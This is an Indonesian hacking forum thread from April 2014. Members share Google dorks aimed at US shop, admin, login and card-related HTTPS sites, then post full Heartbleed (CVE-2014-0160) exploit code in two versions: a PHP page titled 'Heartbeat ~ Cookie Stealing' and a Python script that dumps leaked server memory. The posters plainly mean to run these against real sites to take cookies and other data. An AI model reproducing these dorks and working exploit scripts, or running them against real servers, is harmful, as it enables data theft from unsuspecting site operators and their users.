Posts: 700
Threads: 45
Joined: Nov 2012
04-22-2014, 09:53 PM
Selamat malam semua .
Mumpung heartbleed lagi boming , ane mau share dorknya nih :d
Code: inurl:"https://.." intitle:"Administrator" site:us
inurl:"https://.." intext:"brother card" site:us
inurl:"https://.." intext:"Shop" site:us
inurl:"https://" intext:"Login" site:us
inurl:"https://.." intitle:"Product" site:us
inurl:"https://.." intitle:"Retail" site:us
inurl:"https://.." intitle:"Product" filetype:doc site:us
inurl:"https://.." intitle:"Product" filetype:pdf site:us
inurl:"https://.." intext:"admin" filetype:pdf site:us
Dan disini ada toolsnya dari om @xsan-lahci untuk mengecek apakah webnya vuln apa enggak .
semoga membantu
Jangan Makan Tulang Kawan | Kurawa |
Posts: 4
Threads: 1
Joined: Nov 2012
(04-22-2014, 09:53 PM)DoctoroL Wrote: Selamat malam semua .
Mumpung heartbleed lagi boming , ane mau share dorknya nih :d
Code: inurl:"https://.." intitle:"Administrator" site:us
inurl:"https://.." intext:"brother card" site:us
inurl:"https://.." intext:"Shop" site:us
inurl:"https://" intext:"Login" site:us
inurl:"https://.." intitle:"Product" site:us
inurl:"https://.." intitle:"Retail" site:us
inurl:"https://.." intitle:"Product" filetype:doc site:us
inurl:"https://.." intitle:"Product" filetype:pdf site:us
inurl:"https://.." intext:"admin" filetype:pdf site:us
Dan disini ada toolsnya dari om @xsan-lahci untuk mengecek apakah webnya vuln apa enggak .
semoga membantu
ijin nyobain dork nya yah om
Posts: 14
Threads: 0
Joined: Apr 2013
(04-22-2014, 09:53 PM)DoctoroL Wrote: Selamat malam semua .
Mumpung heartbleed lagi boming , ane mau share dorknya nih :d
Code: inurl:"https://.." intitle:"Administrator" site:us
inurl:"https://.." intext:"brother card" site:us
inurl:"https://.." intext:"Shop" site:us
inurl:"https://" intext:"Login" site:us
inurl:"https://.." intitle:"Product" site:us
inurl:"https://.." intitle:"Retail" site:us
inurl:"https://.." intitle:"Product" filetype:doc site:us
inurl:"https://.." intitle:"Product" filetype:pdf site:us
inurl:"https://.." intext:"admin" filetype:pdf site:us
Dan disini ada toolsnya dari om @xsan-lahci untuk mengecek apakah webnya vuln apa enggak .
semoga membantu
mantep nice share om
Rahmad@IBTeam:~#
My Facebook
<<Backtrack
the quieter you become, the more you able to hear
Posts: 1,216
Threads: 92
Joined: Oct 2011
Bah mantep bro , work semua wwkwk
Posts: 200
Threads: 20
Joined: Dec 2012
caranya gimana buat anuin heartbleed ??
Posts: 700
Threads: 45
Joined: Nov 2012
(04-22-2014, 10:41 PM)xsan-lahci Wrote: Bah mantep bro , work semua wwkwk
iyah om wkwkkw \m/
(04-23-2014, 11:14 AM)orang sederhana Wrote: caranya gimana buat anuin heartbleed ??
pake toolsnya om , ada yg versi phpnya ada juga yg python
Jangan Makan Tulang Kawan | Kurawa |
Posts: 165
Threads: 1
Joined: Oct 2012
(04-23-2014, 01:39 PM)DoctoroL Wrote: (04-22-2014, 10:41 PM)xsan-lahci Wrote: Bah mantep bro , work semua wwkwk
iyah om wkwkkw \m/
(04-23-2014, 11:14 AM)orang sederhana Wrote: caranya gimana buat anuin heartbleed ??
pake toolsnya om , ada yg versi phpnya ada juga yg python bagi yg versi php nya bro
Posts: 200
Threads: 20
Joined: Dec 2012
(04-23-2014, 01:39 PM)DoctoroL Wrote: (04-22-2014, 10:41 PM)xsan-lahci Wrote: Bah mantep bro , work semua wwkwk
iyah om wkwkkw \m/
(04-23-2014, 11:14 AM)orang sederhana Wrote: caranya gimana buat anuin heartbleed ??
pake toolsnya om , ada yg versi phpnya ada juga yg python
yang versi pythonya mana om ?? bagi dong :d
Posts: 165
Threads: 1
Joined: Oct 2012
(04-23-2014, 03:52 PM)orang sederhana Wrote: (04-23-2014, 01:39 PM)DoctoroL Wrote: (04-22-2014, 10:41 PM)xsan-lahci Wrote: Bah mantep bro , work semua wwkwk
iyah om wkwkkw \m/
(04-23-2014, 11:14 AM)orang sederhana Wrote: caranya gimana buat anuin heartbleed ??
pake toolsnya om , ada yg versi phpnya ada juga yg python
yang versi pythonya mana om ?? bagi dong :d https://github.com/FiloSottile/Heartbleed
Posts: 700
Threads: 45
Joined: Nov 2012
Versi PHP
Code: <!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="content-type" content="text/html" />
<meta name="author" content="ExploreCrew" />
<title>Heartbeat ~ Cookie Stealing</title>
<style type="text/css">
<!--
h1,p{margin: 3px;padding: 3px;}
form,pre{width: 75%;border: 1px solid #ddd; margin: auto;padding: 3px;}
input[type='text']{width: 90%; margin: 13px;padding: 3px;}
input[type='submit']{padding: 10px; margin: 13px;}
-->
</style>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<h1>Heartbeat ~ CVE-2014-0160</h1>
<p></p>
<input type="text" name="host" placeholder="example.com" />
<input type="text" name="port" value="443" placeholder="443"/>
<input type="submit" name="submit" />
<p>by <a href="http://explorecrew.org">BlueBoyz @ ExploreCrew</a></p>
</form>
<br />
<pre>
<?php
if(isset($_POST['submit'])) {
$hello = "16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01";
$hb = "18 03 02 00 03 01 40 00";
function hexbin($string) {
$strz = explode(" ",str_replace("
"," ",$string));
$bin = '';
foreach($strz as $str) {
$bin .= chr(hexdec($str));
}
return $bin;
}
$fp = fsockopen($_POST['host'],$_POST['port'],$errno,$errstr,30);
if(!$fp) {
echo $errstr;
} else {
echo "Connecting...
";
echo "Hello SSL
";
fwrite($fp,hexbin($hello));
$is_hello = true;
$is_hb = false;
while(!feof($fp)) {
if($is_hello == true) {
$buffer = fgets($fp,4096);
$is_hello = false;
} else {
$buffer = fgets($fp,1024);
if($is_hb == false) {
echo "Sending heartbeat request...
";
fwrite($fp,hexbin($hb));
$is_hb == true;
}
}
echo $buffer;
}
fclose($fp);
}
}
?>
</pre>
</body>
</html>
Versi python
Code: #!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
Jangan Makan Tulang Kawan | Kurawa |
|